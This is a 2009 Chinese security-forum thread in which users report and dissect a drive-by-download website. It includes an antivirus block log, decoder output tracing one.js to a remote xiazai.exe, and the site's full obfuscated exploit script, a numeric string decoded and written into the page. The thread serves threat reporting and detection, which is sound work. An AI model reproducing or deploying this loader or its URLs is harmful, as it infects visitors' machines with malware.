挂马！被瑞星拦截[挂马][已检测by qigang]

江湖的fans

http://www.sdhdfhtyf.cn

[ 本帖最后由 aarwwefdds 于 2009-3-14 20:12 编辑 ]

江湖的fans

访问地址：http://www.sdhdfhtyf.cn/064.htm
访问网页的进程："C:\Program Files\TheWorld 2.0\TheWorld.exe"
漏洞对象名：microsoft.xmlhttp

fatezero

2009-3-8 20:04:09        拒绝: HEUR:Exploit.Script.Generic

knifed

关于:hxxp://www.sdhdfhtyf.cn/解密的日志(全体输出-  3):

Level  0>http://www.sdhdfhtyf.cn/
Level  1>http://www.sdhdfhtyf.cn/one.js
Level  2>http://www.sdthdrhedrew.cn/xiazai.exe

日志由 Redoce1.8第112次修正版于 2009-3-8 20:07:00 生成。

qigang

挂链。

qigang

<!--index-->
<script src="one.js"></script>
<script language=javascript>
document.write(decodeSTR("47|96|112|97|122|99|103|51|127|114|125|116|102|114|116|118|46|121|114|101|114|96|112|97|122|99|103|45|30|25|117|102|125|112|103|122|124|125|51|64|118|103|112|120|59|58|104|51|30|25|101|114|97|51|71|123|118|125|46|125|118|100|51|87|114|103|118|59|58|40|51|30|25|71|123|118|125|61|96|118|103|71|122|126|118|59|71|123|118|125|61|116|118|103|71|122|126|118|59|58|56|71|122|126|118|57|34|35|35|35|58|40|51|30|25|119|124|112|102|126|118|125|103|61|112|124|124|120|122|118|46|49|125|118|103|113|118|122|46|34|40|118|107|99|122|97|118|96|46|49|56|71|123|118|125|61|103|124|84|94|71|64|103|97|122|125|116|59|58|40|51|30|25|110|51|30|25|101|114|97|51|112|124|124|120|122|118|64|103|97|122|125|116|46|125|118|100|51|64|103|97|122|125|116|59|119|124|112|102|126|118|125|103|61|112|124|124|120|122|118|58|40|51|30|25|101|114|97|51|112|124|124|120|122|118|91|118|114|119|118|97|46|49|125|118|103|113|118|122|46|49|40|51|30|25|101|114|97|51|113|118|116|122|125|67|124|96|122|103|122|124|125|46|112|124|124|120|122|118|64|103|97|122|125|116|61|122|125|119|118|107|92|117|59|112|124|124|120|122|118|91|118|114|119|118|97|58|40|51|30|25|122|117|51|59|113|118|116|122|125|67|124|96|122|103|122|124|125|47|35|58|104|51|30|25|103|118|96|103|33|59|58|40|30|25|103|118|96|103|59|58|40|30|25|64|118|103|112|120|59|58|40|30|25|119|124|112|102|126|118|125|103|61|100|97|122|103|118|59|49|47|90|117|97|114|126|118|51|100|122|119|103|123|46|34|35|35|51|123|118|122|116|123|103|46|35|51|96|97|112|46|112|107|61|123|103|126|45|47|60|122|117|97|114|126|118|45|49|58|40|30|25|110|51|30|25|30|25|117|102|125|112|103|122|124|125|51|103|118|96|103|33|59|58|30|25|104|30|25|122|117|51|59|125|114|101|122|116|114|103|124|97|61|102|96|118|97|82|116|118|125|103|61|103|124|95|124|100|118|97|80|114|96|118|59|58|61|122|125|119|118|107|92|117|59|49|126|96|122|118|51|36|49|58|51|50|46|51|62|34|58|51|119|124|112|102|126|118|125|103|61|100|97|122|103|118|59|49|47|90|117|97|114|126|118|51|100|122|119|103|123|46|34|35|35|51|123|118|122|116|123|103|46|35|51|96|97|112|46|35|42|33|61|123|103|126|45|47|60|122|117|97|114|126|118|45|49|58|40|30|25|26|103|97|106|51|104|30|25|26|26|26|26|101|114|97|51|116|116|40|30|25|26|26|26|26|101|114|97|51|116|127|33|51|46|51|125|118|100|51|82|112|103|122|101|118|75|92|113|121|118|112|103|59|49|91|114|125|84|114|126|118|67|127|102|116|122|125|80|125|34|43|61|91|114|125|84|114|126|118|67|127|102|116|122|125|80|125|34|43|61|34|49|58|40|30|25|26|26|26|110|51|112|114|103|112|123|59|116|116|58|51|104|110|40|30|25|26|26|26|117|122|125|114|127|127|106|51|104|30|25|26|26|26|26|122|117|51|59|116|116|50|46|51|49|72|124|113|121|118|112|103|51|86|97|97|124|97|78|49|58|51|104|30|25|26|26|26|26|119|124|112|102|126|118|125|103|61|100|97|122|103|118|59|49|47|90|117|97|114|126|118|51|100|122|119|103|123|46|34|35|35|51|123|118|122|116|123|103|46|35|51|96|97|112|46|116|127|33|61|123|103|126|45|47|60|122|117|97|114|126|118|45|49|58|30|25|26|26|26|26|110|30|25|26|26|26|110|30|25|26|103|97|106|51|104|30|25|26|26|26|26|101|114|97|51|116|116|116|40|30|25|26|26|26|26|101|114|97|51|116|127|32|51|46|51|125|118|100|51|82|112|103|122|101|118|75|92|113|121|118|112|103|59|49|84|95|90|86|87|124|100|125|61|90|86|87|124|100|125|61|34|49|58|40|30|25|26|26|26|110|51|112|114|103|112|123|59|116|116|116|58|51|104|110|40|30|25|26|26|26|117|122|125|114|127|127|106|51|104|30|25|26|26|26|26|122|117|51|59|116|116|116|51|50|46|51|49|72|124|113|121|118|112|103|51|86|97|97|124|97|78|49|58|51|104|30|25|26|26|26|26|119|124|112|102|126|118|125|103|61|100|97|122|103|118|59|49|47|90|117|97|114|126|118|51|100|122|119|103|123|46|34|35|35|51|123|118|122|116|123|103|46|35|51|96|97|112|46|116|127|32|61|123|103|126|45|47|60|122|117|97|114|126|118|45|49|58|30|25|26|26|26|26|110|30|25|26|26|26|110|30|25|26|103|97|106|51|104|30|25|26|26|26|26|101|114|97|51|116|114|40|30|25|26|26|26|26|101|114|97|51|96|103|124|97|126|51|46|51|125|118|100|51|82|112|103|122|101|118|75|92|113|121|118|112|103|59|49|94|67|64|61|64|103|124|97|126|67|127|114|106|118|97|61|34|49|58|40|30|25|26|26|26|110|51|112|114|103|112|123|59|116|114|58|51|104|110|40|30|25|26|26|26|117|122|125|114|127|127|106|51|104|30|25|26|26|26|26|122|117|51|59|116|114|51|50|46|51|49|72|124|113|121|118|112|103|51|86|97|97|124|97|78|49|58|51|104|30|25|26|26|26|26|119|124|112|102|126|118|125|103|61|100|97|122|103|118|59|49|47|90|117|97|114|126|118|51|100|122|119|103|123|46|34|35|35|51|123|118|122|116|123|103|46|35|51|96|97|112|46|113|117|33|61|123|103|126|45|47|60|122|117|97|114|126|118|45|49|58|30|25|26|26|26|26|110|30|25|26|26|26|110|26|26|26|30|25|26|26|26|30|25|110|26|26|26|26|30|25|26|26|26|26|30|25|117|102|125|112|103|122|124|125|51|103|118|96|103|59|58|30|25|104|30|25|97|97|124|124|107|107|51|46|51|49|90|86|65|67|80|103|127|61|90|86|65|67|80|103|127|61|34|49|40|30|25|103|97|106|30|25|104|30|25|95|122|120|118|51|46|51|125|118|100|51|82|112|103|122|101|118|75|92|113|121|118|112|103|59|97|97|124|124|107|107|58|40|30|25|110|112|114|103|112|123|59|118|97|97|124|97|58|104|97|118|103|102|97|125|40|110|30|25|101|101|101|101|101|51|46|51|95|122|120|118|61|67|127|114|106|118|97|67|97|124|99|118|97|103|106|59|49|67|65|92|87|70|80|71|69|86|65|64|90|92|93|49|58|40|30|25|101|114|97|51|127|127|124|124|122|122|102|102|106|106|46|49|117|49|40|30|25|122|117|59|101|101|101|101|101|47|46|49|79|107|32|37|79|107|33|118|79|107|32|35|79|107|33|118|79|107|32|34|79|107|32|39|79|107|33|118|79|107|32|38|79|107|32|38|79|107|32|33|49|58|104|101|114|97|51|114|126|126|112|46|49|119|96|101|113|49|40|30|25|119|124|112|102|126|118|125|103|61|100|97|122|103|118|59|52|47|90|117|97|114|126|118|51|96|103|106|127|118|46|119|122|96|99|127|114|106|41|125|124|125|118|51|96|97|112|46|49|97|127|61|123|103|126|49|45|47|60|122|117|97|114|126|118|45|52|58|40|110|30|25|118|127|96|118|30|25|119|124|112|102|126|118|125|103|61|100|97|122|103|118|59|52|47|122|117|97|114|126|118|51|96|103|106|127|118|46|119|122|96|99|127|114|106|41|125|124|125|118|51|96|97|112|46|49|97|127|61|123|103|126|49|45|47|60|122|117|97|114|126|118|45|52|58|40|30|25|110|30|25|26|26|26|26|26|26|30|25|47|60|96|112|97|122|99|103|45|30|25|47|90|117|97|114|126|118|51|100|122|119|103|123|46|34|35|35|51|123|118|122|116|123|103|46|34|35|35|51|96|97|112|46|117|107|61|123|103|126|45|47|60|122|117|97|114|126|118|45|30|25|47|90|117|97|114|126|118|51|100|122|119|103|123|46|34|35|35|51|123|118|122|116|123|103|46|35|51|96|97|112|46|35|37|39|61|123|103|126|45|47|60|122|117|97|114|126|118|45|30|25|47|90|117|97|114|126|118|51|100|122|119|103|123|46|34|35|35|51|123|118|122|116|123|103|46|35|51|96|97|112|46|96|114|61|123|103|126|45|47|60|122|117|97|114|126|118|45|30|25|47|90|117|97|114|126|118|51|100|122|119|103|123|46|34|35|35|51|123|118|122|116|123|103|46|35|51|96|97|112|46|124|117|117|122|112|118|61|123|103|126|45|47|60|122|117|97|114|126|118|45"));
</script>

qigang

Log is generated by FreShow.
[wide]http://www.sdhdfhtyf.cn
    [script]http://www.sdhdfhtyf.cn/one.js
        [object]http://www.sdthdrhedrew.cn/xiazai.exe